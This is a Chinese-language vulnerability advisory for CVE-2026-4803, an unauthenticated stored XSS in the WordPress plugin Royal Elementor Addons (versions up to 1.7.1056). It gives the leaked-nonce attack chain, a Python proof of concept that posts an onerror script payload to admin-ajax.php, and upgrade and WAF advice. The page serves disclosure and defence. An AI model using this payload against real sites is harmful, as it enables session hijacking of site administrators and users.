IPBUF安全漏洞报告
English
CVE-2026-4803 CVSS 7.2 高危

CVE-2026-4803 WordPress Royal Elementor插件存储型XSS漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-4803
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Royal Elementor Addons for WordPress

相关标签

XSSWordPressRoyal Elementor Addons存储型XSS无需认证CVE-2026-4803

漏洞概述

WordPress插件Royal Elementor Addons在版本1.7.1056及之前存在存储型跨站脚本(XSS)漏洞。由于插件未对'status'参数进行充分的输入清理和输出转义,且AJAX动作'wpr_update_form_action_meta'使用了公开泄露的nonce,导致未认证攻击者可利用该漏洞注入恶意脚本。当用户访问受感染的页面时,脚本将自动执行,从而窃取用户凭证或执行恶意操作。

技术细节

该漏洞源于Royal Elementor Addons插件中的`wpr_update_form_action_meta` AJAX处理函数。攻击者无需认证即可触发此漏洞,因为插件在`plugin.php`中硬编码或泄露了有效的nonce值(如`wpr_nonce`),绕过了WordPress的权限校验机制。在`wpr-actions-status.php`文件中,`status`参数直接被接收并存储,缺乏必要的`sanitize_text_field`或`esc_html`处理。攻击者构造包含JavaScript代码的Payload发送至`/wp-admin/admin-ajax.php`,利用泄露的nonce通过校验,将恶意代码持久化存储到数据库中。后续任何管理员或用户访问特定页面时,Payload将被渲染并执行,导致会话劫持或恶意操作。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标站点是否安装了Royal Elementor Addons插件,并确认版本是否小于等于1.7.1056。
STEP 2
2. 获取Nonce
攻击者通过访问前端页面或查看插件源代码,获取用于AJAX动作的公开泄露的nonce值。
STEP 3
3. 发送Payload
攻击者向/wp-admin/admin-ajax.php发送POST请求,action为wpr_update_form_action_meta,并在status参数中注入恶意脚本,携带获取到的nonce。
STEP 4
4. 持久化存储
服务器端接收请求,因校验通过且未过滤危险字符,将恶意脚本存储在数据库中。
STEP 5
5. 触发漏洞
当管理员或普通用户访问包含该恶意数据的页面时,浏览器解析并执行恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target = "http://example.com/wp-admin/admin-ajax.php" # Leaked Nonce (Example value, needs to be extracted from source or static files) # Reference: plugins.trac.wordpress.org link suggests hardcoded or accessible nonce nonce = "hardcoded_nonce_value_here" # Payload demonstrating XSS xss_payload = "<img src=x onerror=alert('CVE-2026-4803')>" data = { "action": "wpr_update_form_action_meta", "status": xss_payload, "security": nonce, # Parameter name may vary based on source code analysis "wpr_nonce": nonce # Alternative parameter name often used in WP } response = requests.post(target, data=data) if response.status_code == 200: print("Payload sent successfully. Check if XSS is triggered.") else: print("Failed to send payload.")

影响范围

Royal Elementor Addons <= 1.7.1056

防御指南

临时缓解措施
建议立即将插件升级到最新版本以修复此漏洞。如果暂时无法升级,建议禁用Royal Elementor Addons插件中的表单功能或完全禁用该插件。同时,可以通过Web应用防火墙(WAF)配置规则,拦截包含恶意脚本特征的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表